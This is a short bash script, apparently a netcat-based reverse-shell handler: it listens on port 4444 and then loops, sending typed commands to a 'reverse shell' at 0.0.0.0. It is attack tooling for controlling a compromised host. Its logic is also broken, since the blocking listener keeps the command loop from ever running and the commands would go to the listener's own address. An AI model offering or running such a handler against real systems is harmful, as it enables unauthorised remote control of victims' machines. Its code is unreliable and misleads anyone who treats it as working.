#!/bin/bash # Set the IP address and port of the listener IP_ADDRESS=0.0.0.0 PORT=4444 # Use netcat to listen for an incoming connection nc -l -k -p ${PORT} -vv # Start a command shell while true; do # Display a prompt printf "#> " # Read a command read command # Exit the loop if the command is "exit" if [ "$command" == "exit" ]; then break fi # Send the command to the reverse shell and print the result echo "$command" | nc ${IP_ADDRESS} ${PORT} -vv done